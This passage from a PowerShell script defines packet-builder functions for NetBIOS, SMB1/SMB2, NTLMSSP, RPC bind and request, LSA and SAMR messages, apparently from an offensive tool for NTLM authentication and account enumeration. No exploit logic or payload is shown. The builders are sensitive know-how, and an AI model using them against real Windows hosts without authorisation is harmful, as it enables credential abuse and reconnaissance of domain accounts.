System.Collections.Specialized.OrderedDictionary - $NetBIOSSessionService.Add("MessageType",[Byte[]](0x00)) - $NetBIOSSessionService.Add("Length",$length) - - return $NetBIOSSessionService -} - -#SMB1 - -function New-PacketSMBHeader -{ - param([Byte[]]$Command,[Byte[]]$Flags,[Byte[]]$Flags2,[Byte[]]$TreeID,[Byte[]]$ProcessID,[Byte[]]$UserID) - - $ProcessID = $ProcessID[0,1] - - $SMBHeader = New-Object System.Collections.Specialized.OrderedDictionary - $SMBHeader.Add("Protocol",[Byte[]](0xff,0x53,0x4d,0x42)) - $SMBHeader.Add("Command",$Command) - $SMBHeader.Add("ErrorClass",[Byte[]](0x00)) - $SMBHeader.Add("Reserved",[Byte[]](0x00)) - $SMBHeader.Add("ErrorCode",[Byte[]](0x00,0x00)) - $SMBHeader.Add("Flags",$Flags) - $SMBHeader.Add("Flags2",$Flags2) - $SMBHeader.Add("ProcessIDHigh",[Byte[]](0x00,0x00)) - $SMBHeader.Add("Signature",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) - $SMBHeader.Add("Reserved2",[Byte[]](0x00,0x00)) - $SMBHeader.Add("TreeID",$TreeID) - $SMBHeader.Add("ProcessID",$ProcessID) - $SMBHeader.Add("UserID",$UserID) - $SMBHeader.Add("MultiplexID",[Byte[]](0x00,0x00)) - - return $SMBHeader -} - -function New-PacketSMBNegotiateProtocolRequest -{ - param([String]$Version) - - if($Version -eq 'SMB1') - { - [Byte[]]$byte_count = 0x0c,0x00 - } - else - { - [Byte[]]$byte_count = 0x22,0x00 - } - - $SMBNegotiateProtocolRequest = New-Object System.Collections.Specialized.OrderedDictionary - $SMBNegotiateProtocolRequest.Add("WordCount",[Byte[]](0x00)) - $SMBNegotiateProtocolRequest.Add("ByteCount",$byte_count) - $SMBNegotiateProtocolRequest.Add("RequestedDialects_Dialect_BufferFormat",[Byte[]](0x02)) - $SMBNegotiateProtocolRequest.Add("RequestedDialects_Dialect_Name",[Byte[]](0x4e,0x54,0x20,0x4c,0x4d,0x20,0x30,0x2e,0x31,0x32,0x00)) - - if($version -ne 'SMB1') - { - $SMBNegotiateProtocolRequest.Add("RequestedDialects_Dialect_BufferFormat2",[Byte[]](0x02)) - $SMBNegotiateProtocolRequest.Add("RequestedDialects_Dialect_Name2",[Byte[]](0x53,0x4d,0x42,0x20,0x32,0x2e,0x30,0x30,0x32,0x00)) - $SMBNegotiateProtocolRequest.Add("RequestedDialects_Dialect_BufferFormat3",[Byte[]](0x02)) - $SMBNegotiateProtocolRequest.Add("RequestedDialects_Dialect_Name3",[Byte[]](0x53,0x4d,0x42,0x20,0x32,0x2e,0x3f,0x3f,0x3f,0x00)) - } - - return $SMBNegotiateProtocolRequest -} - -#SMB2 - -function New-PacketSMB2Header -{ - param([Byte[]]$Command,[Byte[]]$CreditRequest,[Bool]$Signing,[Int]$MessageID,[Byte[]]$ProcessID,[Byte[]]$TreeID,[Byte[]]$SessionID) - - if($Signing) - { - $flags = 0x08,0x00,0x00,0x00 - } - else - { - $flags = 0x00,0x00,0x00,0x00 - } - - [Byte[]]$message_ID = [System.BitConverter]::GetBytes($MessageID) - - if($message_ID.Length -eq 4) - { - $message_ID += 0x00,0x00,0x00,0x00 - } - - $SMB2Header = New-Object System.Collections.Specialized.OrderedDictionary - $SMB2Header.Add("ProtocolID",[Byte[]](0xfe,0x53,0x4d,0x42)) - $SMB2Header.Add("StructureSize",[Byte[]](0x40,0x00)) - $SMB2Header.Add("CreditCharge",[Byte[]](0x01,0x00)) - $SMB2Header.Add("ChannelSequence",[Byte[]](0x00,0x00)) - $SMB2Header.Add("Reserved",[Byte[]](0x00,0x00)) - $SMB2Header.Add("Command",$Command) - $SMB2Header.Add("CreditRequest",$CreditRequest) - $SMB2Header.Add("Flags",$flags) - $SMB2Header.Add("NextCommand",[Byte[]](0x00,0x00,0x00,0x00)) - $SMB2Header.Add("MessageID",$message_ID) - $SMB2Header.Add("ProcessID",$ProcessID) - $SMB2Header.Add("TreeID",$TreeID) - $SMB2Header.Add("SessionID",$SessionID) - $SMB2Header.Add("Signature",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) - - return $SMB2Header -} - -function New-PacketSMB2NegotiateProtocolRequest -{ - $SMB2NegotiateProtocolRequest = New-Object System.Collections.Specialized.OrderedDictionary - $SMB2NegotiateProtocolRequest.Add("StructureSize",[Byte[]](0x24,0x00)) - $SMB2NegotiateProtocolRequest.Add("DialectCount",[Byte[]](0x02,0x00)) - $SMB2NegotiateProtocolRequest.Add("SecurityMode",[Byte[]](0x01,0x00)) - $SMB2NegotiateProtocolRequest.Add("Reserved",[Byte[]](0x00,0x00)) - $SMB2NegotiateProtocolRequest.Add("Capabilities",[Byte[]](0x40,0x00,0x00,0x00)) - $SMB2NegotiateProtocolRequest.Add("ClientGUID",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) - $SMB2NegotiateProtocolRequest.Add("NegotiateContextOffset",[Byte[]](0x00,0x00,0x00,0x00)) - $SMB2NegotiateProtocolRequest.Add("NegotiateContextCount",[Byte[]](0x00,0x00)) - $SMB2NegotiateProtocolRequest.Add("Reserved2",[Byte[]](0x00,0x00)) - $SMB2NegotiateProtocolRequest.Add("Dialect",[Byte[]](0x02,0x02)) - $SMB2NegotiateProtocolRequest.Add("Dialect2",[Byte[]](0x10,0x02)) - - return $SMB2NegotiateProtocolRequest -} - -function New-PacketSMB2SessionSetupRequest -{ - param([Byte[]]$SecurityBlob) - - [Byte[]]$security_buffer_length = ([System.BitConverter]::GetBytes($SecurityBlob.Length))[0,1] - - $SMB2SessionSetupRequest = New-Object System.Collections.Specialized.OrderedDictionary - $SMB2SessionSetupRequest.Add("StructureSize",[Byte[]](0x19,0x00)) - $SMB2SessionSetupRequest.Add("Flags",[Byte[]](0x00)) - $SMB2SessionSetupRequest.Add("SecurityMode",[Byte[]](0x01)) - $SMB2SessionSetupRequest.Add("Capabilities",[Byte[]](0x00,0x00,0x00,0x00)) - $SMB2SessionSetupRequest.Add("Channel",[Byte[]](0x00,0x00,0x00,0x00)) - $SMB2SessionSetupRequest.Add("SecurityBufferOffset",[Byte[]](0x58,0x00)) - $SMB2SessionSetupRequest.Add("SecurityBufferLength",$security_buffer_length) - $SMB2SessionSetupRequest.Add("PreviousSessionID",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) - $SMB2SessionSetupRequest.Add("Buffer",$SecurityBlob) - - return $SMB2SessionSetupRequest -} - -function New-PacketSMB2TreeConnectRequest -{ - param([Byte[]]$Buffer) - - [Byte[]]$path_length = ([System.BitConverter]::GetBytes($Buffer.Length))[0,1] - - $SMB2TreeConnectRequest = New-Object System.Collections.Specialized.OrderedDictionary - $SMB2TreeConnectRequest.Add("StructureSize",[Byte[]](0x09,0x00)) - $SMB2TreeConnectRequest.Add("Reserved",[Byte[]](0x00,0x00)) - $SMB2TreeConnectRequest.Add("PathOffset",[Byte[]](0x48,0x00)) - $SMB2TreeConnectRequest.Add("PathLength",$path_length) - $SMB2TreeConnectRequest.Add("Buffer",$Buffer) - - return $SMB2TreeConnectRequest -} - -function New-PacketSMB2CreateRequestFile -{ - param([Byte[]]$NamedPipe) - - $name_length = ([System.BitConverter]::GetBytes($NamedPipe.Length))[0,1] - - $SMB2CreateRequestFile = New-Object System.Collections.Specialized.OrderedDictionary - $SMB2CreateRequestFile.Add("StructureSize",[Byte[]](0x39,0x00)) - $SMB2CreateRequestFile.Add("Flags",[Byte[]](0x00)) - $SMB2CreateRequestFile.Add("RequestedOplockLevel",[Byte[]](0x00)) - $SMB2CreateRequestFile.Add("Impersonation",[Byte[]](0x02,0x00,0x00,0x00)) - $SMB2CreateRequestFile.Add("SMBCreateFlags",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) - $SMB2CreateRequestFile.Add("Reserved",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) - $SMB2CreateRequestFile.Add("DesiredAccess",[Byte[]](0x03,0x00,0x00,0x00)) - $SMB2CreateRequestFile.Add("FileAttributes",[Byte[]](0x80,0x00,0x00,0x00)) - $SMB2CreateRequestFile.Add("ShareAccess",[Byte[]](0x01,0x00,0x00,0x00)) - $SMB2CreateRequestFile.Add("CreateDisposition",[Byte[]](0x01,0x00,0x00,0x00)) - $SMB2CreateRequestFile.Add("CreateOptions",[Byte[]](0x40,0x00,0x00,0x00)) - $SMB2CreateRequestFile.Add("NameOffset",[Byte[]](0x78,0x00)) - $SMB2CreateRequestFile.Add("NameLength",$name_length) - $SMB2CreateRequestFile.Add("CreateContextsOffset",[Byte[]](0x00,0x00,0x00,0x00)) - $SMB2CreateRequestFile.Add("CreateContextsLength",[Byte[]](0x00,0x00,0x00,0x00)) - $SMB2CreateRequestFile.Add("Buffer",$NamedPipe) - - return $SMB2CreateRequestFile -} - -function New-PacketSMB2QueryInfoRequest -{ - param ([Byte[]]$InfoType,[Byte[]]$FileInfoClass,[Byte[]]$OutputBufferLength,[Byte[]]$InputBufferOffset,[Byte[]]$FileID,[Int]$Buffer) - - [Byte[]]$buffer_bytes = ,0x00 * $Buffer - - $SMB2QueryInfoRequest = New-Object System.Collections.Specialized.OrderedDictionary - $SMB2QueryInfoRequest.Add("StructureSize",[Byte[]](0x29,0x00)) - $SMB2QueryInfoRequest.Add("InfoType",$InfoType) - $SMB2QueryInfoRequest.Add("FileInfoClass",$FileInfoClass) - $SMB2QueryInfoRequest.Add("OutputBufferLength",$OutputBufferLength) - $SMB2QueryInfoRequest.Add("InputBufferOffset",$InputBufferOffset) - $SMB2QueryInfoRequest.Add("Reserved",[Byte[]](0x00,0x00)) - $SMB2QueryInfoRequest.Add("InputBufferLength",[Byte[]](0x00,0x00,0x00,0x00)) - $SMB2QueryInfoRequest.Add("AdditionalInformation",[Byte[]](0x00,0x00,0x00,0x00)) - $SMB2QueryInfoRequest.Add("Flags",[Byte[]](0x00,0x00,0x00,0x00)) - $SMB2QueryInfoRequest.Add("FileID",$FileID) - - if($Buffer -gt 0) - { - $SMB2QueryInfoRequest.Add("Buffer",$buffer_bytes) - } - - return $SMB2QueryInfoRequest -} - -function New-PacketSMB2ReadRequest -{ - param ([Byte[]]$FileID) - - $SMB2ReadRequest = New-Object System.Collections.Specialized.OrderedDictionary - $SMB2ReadRequest.Add("StructureSize",[Byte[]](0x31,0x00)) - $SMB2ReadRequest.Add("Padding",[Byte[]](0x50)) - $SMB2ReadRequest.Add("Flags",[Byte[]](0x00)) - $SMB2ReadRequest.Add("Length",[Byte[]](0x00,0x00,0x10,0x00)) - $SMB2ReadRequest.Add("Offset",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) - $SMB2ReadRequest.Add("FileID",$FileID) - $SMB2ReadRequest.Add("MinimumCount",[Byte[]](0x00,0x00,0x00,0x00)) - $SMB2ReadRequest.Add("Channel",[Byte[]](0x00,0x00,0x00,0x00)) - $SMB2ReadRequest.Add("RemainingBytes",[Byte[]](0x00,0x00,0x00,0x00)) - $SMB2ReadRequest.Add("ReadChannelInfoOffset",[Byte[]](0x00,0x00)) - $SMB2ReadRequest.Add("ReadChannelInfoLength",[Byte[]](0x00,0x00)) - $SMB2ReadRequest.Add("Buffer",[Byte[]](0x30)) - - return $SMB2ReadRequest -} - -function New-PacketSMB2WriteRequest -{ - param([Byte[]]$FileID,[Int]$RPCLength) - - [Byte[]]$write_length = [System.BitConverter]::GetBytes($RPCLength) - - $SMB2WriteRequest = New-Object System.Collections.Specialized.OrderedDictionary - $SMB2WriteRequest.Add("StructureSize",[Byte[]](0x31,0x00)) - $SMB2WriteRequest.Add("DataOffset",[Byte[]](0x70,0x00)) - $SMB2WriteRequest.Add("Length",$write_length) - $SMB2WriteRequest.Add("Offset",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) - $SMB2WriteRequest.Add("FileID",$FileID) - $SMB2WriteRequest.Add("Channel",[Byte[]](0x00,0x00,0x00,0x00)) - $SMB2WriteRequest.Add("RemainingBytes",[Byte[]](0x00,0x00,0x00,0x00)) - $SMB2WriteRequest.Add("WriteChannelInfoOffset",[Byte[]](0x00,0x00)) - $SMB2WriteRequest.Add("WriteChannelInfoLength",[Byte[]](0x00,0x00)) - $SMB2WriteRequest.Add("Flags",[Byte[]](0x00,0x00,0x00,0x00)) - - return $SMB2WriteRequest -} - -function New-PacketSMB2CloseRequest -{ - param ([Byte[]]$FileID) - - $SMB2CloseRequest = New-Object System.Collections.Specialized.OrderedDictionary - $SMB2CloseRequest.Add("StructureSize",[Byte[]](0x18,0x00)) - $SMB2CloseRequest.Add("Flags",[Byte[]](0x00,0x00)) - $SMB2CloseRequest.Add("Reserved",[Byte[]](0x00,0x00,0x00,0x00)) - $SMB2CloseRequest.Add("FileID",$FileID) - - return $SMB2CloseRequest -} - -function New-PacketSMB2TreeDisconnectRequest -{ - $SMB2TreeDisconnectRequest = New-Object System.Collections.Specialized.OrderedDictionary - $SMB2TreeDisconnectRequest.Add("StructureSize",[Byte[]](0x04,0x00)) - $SMB2TreeDisconnectRequest.Add("Reserved",[Byte[]](0x00,0x00)) - - return $SMB2TreeDisconnectRequest -} - -function New-PacketSMB2SessionLogoffRequest -{ - $SMB2SessionLogoffRequest = New-Object System.Collections.Specialized.OrderedDictionary - $SMB2SessionLogoffRequest.Add("StructureSize",[Byte[]](0x04,0x00)) - $SMB2SessionLogoffRequest.Add("Reserved",[Byte[]](0x00,0x00)) - - return $SMB2SessionLogoffRequest -} - -function New-PacketSMB2IoctlRequest -{ - param([Byte[]]$Function,[Byte[]]$FileName,[Int]$Length,[Int]$OutSize) - - [Byte[]]$indata_length = [System.BitConverter]::GetBytes($Length + 24) - [Byte[]]$out_size = [System.BitConverter]::GetBytes($OutSize) - - $SMB2IoctlRequest = New-Object System.Collections.Specialized.OrderedDictionary - $SMB2IoctlRequest.Add("StructureSize",[Byte[]](0x39,0x00)) - $SMB2IoctlRequest.Add("Reserved",[Byte[]](0x00,0x00)) - $SMB2IoctlRequest.Add("Function",$Function) - $SMB2IoctlRequest.Add("GUIDHandle",$FileName) - $SMB2IoctlRequest.Add("InData_Offset",[Byte[]](0x78,0x00,0x00,0x00)) - $SMB2IoctlRequest.Add("InData_Length",$indata_length) - $SMB2IoctlRequest.Add("MaxIoctlInSize",[Byte[]](0x00,0x00,0x00,0x00)) - $SMB2IoctlRequest.Add("OutData_Offset",[Byte[]](0x78,0x00,0x00,0x00)) - $SMB2IoctlRequest.Add("OutData_Length",[Byte[]](0x00,0x00,0x00,0x00)) - $SMB2IoctlRequest.Add("MaxIoctlOutSize",$out_size) - $SMB2IoctlRequest.Add("Flags",[Byte[]](0x01,0x00,0x00,0x00)) - $SMB2IoctlRequest.Add("Reserved2",[Byte[]](0x00,0x00,0x00,0x00)) - - if($out_size -eq 40) - { - $SMB2IoctlRequest.Add("InData_Capabilities",[Byte[]](0x7f,0x00,0x00,0x00)) - $SMB2IoctlRequest.Add("InData_ClientGUID",[Byte[]](0xc7,0x11,0x73,0x1e,0xa5,0x7d,0x39,0x47,0xaf,0x92,0x2d,0x88,0xc0,0x44,0xb1,0x1e)) - $SMB2IoctlRequest.Add("InData_SecurityMode",[Byte[]](0x01)) - $SMB2IoctlRequest.Add("InData_Unknown",[Byte[]](0x00)) - $SMB2IoctlRequest.Add("InData_DialectCount",[Byte[]](0x02,0x00)) - $SMB2IoctlRequest.Add("InData_Dialect",[Byte[]](0x02,0x02)) - $SMB2IoctlRequest.Add("InData_Dialect2",[Byte[]](0x10,0x02)) - } - - return $SMB2IoctlRequest -} - -#NTLM - -function New-PacketNTLMSSPNegotiate -{ - param([Byte[]]$NegotiateFlags,[Byte[]]$Version) - - [Byte[]]$NTLMSSP_length = ([System.BitConverter]::GetBytes($Version.Length + 32))[0] - [Byte[]]$ASN_length_1 = $NTLMSSP_length[0] + 32 - [Byte[]]$ASN_length_2 = $NTLMSSP_length[0] + 22 - [Byte[]]$ASN_length_3 = $NTLMSSP_length[0] + 20 - [Byte[]]$ASN_length_4 = $NTLMSSP_length[0] + 2 - - $NTLMSSPNegotiate = New-Object System.Collections.Specialized.OrderedDictionary - $NTLMSSPNegotiate.Add("InitialContextTokenID",[Byte[]](0x60)) - $NTLMSSPNegotiate.Add("InitialcontextTokenLength",$ASN_length_1) - $NTLMSSPNegotiate.Add("ThisMechID",[Byte[]](0x06)) - $NTLMSSPNegotiate.Add("ThisMechLength",[Byte[]](0x06)) - $NTLMSSPNegotiate.Add("OID",[Byte[]](0x2b,0x06,0x01,0x05,0x05,0x02)) - $NTLMSSPNegotiate.Add("InnerContextTokenID",[Byte[]](0xa0)) - $NTLMSSPNegotiate.Add("InnerContextTokenLength",$ASN_length_2) - $NTLMSSPNegotiate.Add("InnerContextTokenID2",[Byte[]](0x30)) - $NTLMSSPNegotiate.Add("InnerContextTokenLength2",$ASN_length_3) - $NTLMSSPNegotiate.Add("MechTypesID",[Byte[]](0xa0)) - $NTLMSSPNegotiate.Add("MechTypesLength",[Byte[]](0x0e)) - $NTLMSSPNegotiate.Add("MechTypesID2",[Byte[]](0x30)) - $NTLMSSPNegotiate.Add("MechTypesLength2",[Byte[]](0x0c)) - $NTLMSSPNegotiate.Add("MechTypesID3",[Byte[]](0x06)) - $NTLMSSPNegotiate.Add("MechTypesLength3",[Byte[]](0x0a)) - $NTLMSSPNegotiate.Add("MechType",[Byte[]](0x2b,0x06,0x01,0x04,0x01,0x82,0x37,0x02,0x02,0x0a)) - $NTLMSSPNegotiate.Add("MechTokenID",[Byte[]](0xa2)) - $NTLMSSPNegotiate.Add("MechTokenLength",$ASN_length_4) - $NTLMSSPNegotiate.Add("NTLMSSPID",[Byte[]](0x04)) - $NTLMSSPNegotiate.Add("NTLMSSPLength",$NTLMSSP_length) - $NTLMSSPNegotiate.Add("Identifier",[Byte[]](0x4e,0x54,0x4c,0x4d,0x53,0x53,0x50,0x00)) - $NTLMSSPNegotiate.Add("MessageType",[Byte[]](0x01,0x00,0x00,0x00)) - $NTLMSSPNegotiate.Add("NegotiateFlags",$NegotiateFlags) - $NTLMSSPNegotiate.Add("CallingWorkstationDomain",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) - $NTLMSSPNegotiate.Add("CallingWorkstationName",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) - - if($Version) - { - $NTLMSSPNegotiate.Add("Version",$Version) - } - - return $NTLMSSPNegotiate -} - -function New-PacketNTLMSSPAuth -{ - param([Byte[]]$NTLMResponse) - - [Byte[]]$NTLMSSP_length = ([System.BitConverter]::GetBytes($NTLMResponse.Length))[1,0] - [Byte[]]$ASN_length_1 = ([System.BitConverter]::GetBytes($NTLMResponse.Length + 12))[1,0] - [Byte[]]$ASN_length_2 = ([System.BitConverter]::GetBytes($NTLMResponse.Length + 8))[1,0] - [Byte[]]$ASN_length_3 = ([System.BitConverter]::GetBytes($NTLMResponse.Length + 4))[1,0] - - $NTLMSSPAuth = New-Object System.Collections.Specialized.OrderedDictionary - $NTLMSSPAuth.Add("ASNID",[Byte[]](0xa1,0x82)) - $NTLMSSPAuth.Add("ASNLength",$ASN_length_1) - $NTLMSSPAuth.Add("ASNID2",[Byte[]](0x30,0x82)) - $NTLMSSPAuth.Add("ASNLength2",$ASN_length_2) - $NTLMSSPAuth.Add("ASNID3",[Byte[]](0xa2,0x82)) - $NTLMSSPAuth.Add("ASNLength3",$ASN_length_3) - $NTLMSSPAuth.Add("NTLMSSPID",[Byte[]](0x04,0x82)) - $NTLMSSPAuth.Add("NTLMSSPLength",$NTLMSSP_length) - $NTLMSSPAuth.Add("NTLMResponse",$NTLMResponse) - - return $NTLMSSPAuth -} - -#RPC - -function New-PacketRPCBind -{ - param([Byte[]]$FragLength,[Int]$CallID,[Byte[]]$NumCtxItems,[Byte[]]$ContextID,[Byte[]]$UUID,[Byte[]]$UUIDVersion) - - [Byte[]]$call_ID = [System.BitConverter]::GetBytes($CallID) - - $RPCBind = New-Object System.Collections.Specialized.OrderedDictionary - $RPCBind.Add("Version",[Byte[]](0x05)) - $RPCBind.Add("VersionMinor",[Byte[]](0x00)) - $RPCBind.Add("PacketType",[Byte[]](0x0b)) - $RPCBind.Add("PacketFlags",[Byte[]](0x03)) - $RPCBind.Add("DataRepresentation",[Byte[]](0x10,0x00,0x00,0x00)) - $RPCBind.Add("FragLength",$FragLength) - $RPCBind.Add("AuthLength",[Byte[]](0x00,0x00)) - $RPCBind.Add("CallID",$call_ID) - $RPCBind.Add("MaxXmitFrag",[Byte[]](0xb8,0x10)) - $RPCBind.Add("MaxRecvFrag",[Byte[]](0xb8,0x10)) - $RPCBind.Add("AssocGroup",[Byte[]](0x00,0x00,0x00,0x00)) - $RPCBind.Add("NumCtxItems",$NumCtxItems) - $RPCBind.Add("Unknown",[Byte[]](0x00,0x00,0x00)) - $RPCBind.Add("ContextID",$ContextID) - $RPCBind.Add("NumTransItems",[Byte[]](0x01)) - $RPCBind.Add("Unknown2",[Byte[]](0x00)) - $RPCBind.Add("Interface",$UUID) - $RPCBind.Add("InterfaceVer",$UUIDVersion) - $RPCBind.Add("InterfaceVerMinor",[Byte[]](0x00,0x00)) - $RPCBind.Add("TransferSyntax",[Byte[]](0x04,0x5d,0x88,0x8a,0xeb,0x1c,0xc9,0x11,0x9f,0xe8,0x08,0x00,0x2b,0x10,0x48,0x60)) - $RPCBind.Add("TransferSyntaxVer",[Byte[]](0x02,0x00,0x00,0x00)) - - if($NumCtxItems[0] -eq 2) - { - $RPCBind.Add("ContextID2",[Byte[]](0x01,0x00)) - $RPCBind.Add("NumTransItems2",[Byte[]](0x01)) - $RPCBind.Add("Unknown3",[Byte[]](0x00)) - $RPCBind.Add("Interface2",$UUID) - $RPCBind.Add("InterfaceVer2",$UUIDVersion) - $RPCBind.Add("InterfaceVerMinor2",[Byte[]](0x00,0x00)) - $RPCBind.Add("TransferSyntax2",[Byte[]](0x2c,0x1c,0xb7,0x6c,0x12,0x98,0x40,0x45,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) - $RPCBind.Add("TransferSyntaxVer2",[Byte[]](0x01,0x00,0x00,0x00)) - } - elseif($NumCtxItems[0] -eq 3) - { - $RPCBind.Add("ContextID2",[Byte[]](0x01,0x00)) - $RPCBind.Add("NumTransItems2",[Byte[]](0x01)) - $RPCBind.Add("Unknown3",[Byte[]](0x00)) - $RPCBind.Add("Interface2",$UUID) - $RPCBind.Add("InterfaceVer2",$UUIDVersion) - $RPCBind.Add("InterfaceVerMinor2",[Byte[]](0x00,0x00)) - $RPCBind.Add("TransferSyntax2",[Byte[]](0x33,0x05,0x71,0x71,0xba,0xbe,0x37,0x49,0x83,0x19,0xb5,0xdb,0xef,0x9c,0xcc,0x36)) - $RPCBind.Add("TransferSyntaxVer2",[Byte[]](0x01,0x00,0x00,0x00)) - $RPCBind.Add("ContextID3",[Byte[]](0x02,0x00)) - $RPCBind.Add("NumTransItems3",[Byte[]](0x01)) - $RPCBind.Add("Unknown4",[Byte[]](0x00)) - $RPCBind.Add("Interface3",$UUID) - $RPCBind.Add("InterfaceVer3",$UUIDVersion) - $RPCBind.Add("InterfaceVerMinor3",[Byte[]](0x00,0x00)) - $RPCBind.Add("TransferSyntax3",[Byte[]](0x2c,0x1c,0xb7,0x6c,0x12,0x98,0x40,0x45,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) - $RPCBind.Add("TransferSyntaxVer3",[Byte[]](0x01,0x00,0x00,0x00)) - } - - if($call_ID -eq 3) - { - $RPCBind.Add("AuthType",[Byte[]](0x0a)) - $RPCBind.Add("AuthLevel",[Byte[]](0x02)) - $RPCBind.Add("AuthPadLength",[Byte[]](0x00)) - $RPCBind.Add("AuthReserved",[Byte[]](0x00)) - $RPCBind.Add("ContextID3",[Byte[]](0x00,0x00,0x00,0x00)) - $RPCBind.Add("Identifier",[Byte[]](0x4e,0x54,0x4c,0x4d,0x53,0x53,0x50,0x00)) - $RPCBind.Add("MessageType",[Byte[]](0x01,0x00,0x00,0x00)) - $RPCBind.Add("NegotiateFlags",[Byte[]](0x97,0x82,0x08,0xe2)) - $RPCBind.Add("CallingWorkstationDomain",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) - $RPCBind.Add("CallingWorkstationName",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) - $RPCBind.Add("OSVersion",[Byte[]](0x06,0x01,0xb1,0x1d,0x00,0x00,0x00,0x0f)) - } - - return $RPCBind -} - -function New-PacketRPCRequest -{ - param([Byte[]]$Flags,[Int]$ServiceLength,[Int]$AuthLength,[Int]$AuthPadding,[Byte[]]$CallID,[Byte[]]$ContextID,[Byte[]]$Opnum,[Byte[]]$Data) - - if($AuthLength -gt 0) - { - $full_auth_length = $AuthLength + $AuthPadding + 8 - } - - [Byte[]]$write_length = [System.BitConverter]::GetBytes($ServiceLength + 24 + $full_auth_length + $Data.Length) - [Byte[]]$frag_length = $write_length[0,1] - [Byte[]]$alloc_hint = [System.BitConverter]::GetBytes($ServiceLength + $Data.Length) - [Byte[]]$auth_length = ([System.BitConverter]::GetBytes($AuthLength))[0,1] - - $RPCRequest = New-Object System.Collections.Specialized.OrderedDictionary - $RPCRequest.Add("Version",[Byte[]](0x05)) - $RPCRequest.Add("VersionMinor",[Byte[]](0x00)) - $RPCRequest.Add("PacketType",[Byte[]](0x00)) - $RPCRequest.Add("PacketFlags",$Flags) - $RPCRequest.Add("DataRepresentation",[Byte[]](0x10,0x00,0x00,0x00)) - $RPCRequest.Add("FragLength",$frag_length) - $RPCRequest.Add("AuthLength",$auth_length) - $RPCRequest.Add("CallID",$CallID) - $RPCRequest.Add("AllocHint",$alloc_hint) - $RPCRequest.Add("ContextID",$ContextID) - $RPCRequest.Add("Opnum",$Opnum) - - if($data.Length) - { - $RPCRequest.Add("Data",$Data) - } - - return $RPCRequest -} - -# LSA -function New-PacketLSAOpenPolicy -{ - $LSAOpenPolicy = New-Object System.Collections.Specialized.OrderedDictionary - $LSAOpenPolicy.Add("PointerToSystemName_ReferentID",[Byte[]](0x00,0x00,0x02,0x00)) - $LSAOpenPolicy.Add("PointerToSystemName_System",[Byte[]](0x5c,0x00)) - $LSAOpenPolicy.Add("PointerToSystemName_Unknown",[Byte[]](0x00,0x00)) - $LSAOpenPolicy.Add("PointerToAttr_Attr_Len",[Byte[]](0x18,0x00,0x00,0x00)) - $LSAOpenPolicy.Add("PointerToAttr_Attr_NullPointer",[Byte[]](0x00,0x00,0x00,0x00)) - $LSAOpenPolicy.Add("PointerToAttr_Attr_NullPointer2",[Byte[]](0x00,0x00,0x00,0x00)) - $LSAOpenPolicy.Add("PointerToAttr_Attr_Attributes",[Byte[]](0x00,0x00,0x00,0x00)) - $LSAOpenPolicy.Add("PointerToAttr_Attr_NullPointer3",[Byte[]](0x00,0x00,0x00,0x00)) - $LSAOpenPolicy.Add("PointerToAttr_Attr_PointerToSecQos_ReferentID",[Byte[]](0x04,0x00,0x02,0x00)) - $LSAOpenPolicy.Add("PointerToAttr_Attr_PointerToSecQos_Qos_Len",[Byte[]](0x0c,0x00,0x00,0x00)) - $LSAOpenPolicy.Add("PointerToAttr_Attr_PointerToSecQos_ImpersonationLevel",[Byte[]](0x02,0x00)) - $LSAOpenPolicy.Add("PointerToAttr_Attr_PointerToSecQos_ContextMode",[Byte[]](0x01)) - $LSAOpenPolicy.Add("PointerToAttr_Attr_PointerToSecQos_EffectiveOnly",[Byte[]](0x00)) - $LSAOpenPolicy.Add("AccessMask",[Byte[]](0x00,0x00,0x00,0x02)) - - return $LSAOpenPolicy -} - -function New-PacketLSAQueryInfoPolicy -{ - param([Byte[]]$Handle) - - $LSAQueryInfoPolicy = New-Object System.Collections.Specialized.OrderedDictionary - $LSAQueryInfoPolicy.Add("PointerToHandle",$Handle) - $LSAQueryInfoPolicy.Add("Level",[Byte[]](0x05,0x00)) - - return $LSAQueryInfoPolicy -} - -function New-PacketLSAClose -{ - param([Byte[]]$Handle) - - $LSAClose = New-Object System.Collections.Specialized.OrderedDictionary - $LSAClose.Add("PointerToHandle",$Handle) - - return $LSAClose -} - -function New-PacketLSALookupSids -{ - param([Byte[]]$Handle,[Byte[]]$SIDArray) - - $LSALookupSids = New-Object System.Collections.Specialized.OrderedDictionary - $LSALookupSids.Add("PointerToHandle",$Handle) - $LSALookupSids.Add("PointerToSIDs_SIDArray",$SIDArray) - $LSALookupSids.Add("PointerToNames_count",[Byte[]](0x00,0x00,0x00,0x00)) - $LSALookupSids.Add("PointerToNames_NULL_pointer",[Byte[]](0x00,0x00,0x00,0x00)) - $LSALookupSids.Add("PointerToNames_level",[Byte[]](0x01,0x00)) - $LSALookupSids.Add("PointerToCount",[Byte[]](0x00,0x00)) - $LSALookupSids.Add("PointerToCount_count",[Byte[]](0x00,0x00,0x00,0x00)) - - return $LSALookupSids -} - -# SAMR - -function New-PacketSAMRConnect2 -{ - param([String]$SystemName) - - [Byte[]]$system_name = [System.Text.Encoding]::Unicode.GetBytes($SystemName) - [Byte[]]$max_count = [System.BitConverter]::GetBytes($SystemName.Length + 1) - - if($SystemName.Length % 2) - { - $system_name += 0x00,0x00 - } - else - { - $system_name += 0x00,0x00,0x00,0x00 - } - - $SAMRConnect2 = New-Object System.Collections.Specialized.OrderedDictionary - $SAMRConnect2.Add("PointerToSystemName_ReferentID",[Byte[]](0x00,0x00,0x02,0x00)) - $SAMRConnect2.Add("PointerToSystemName_MaxCount",$max_count) - 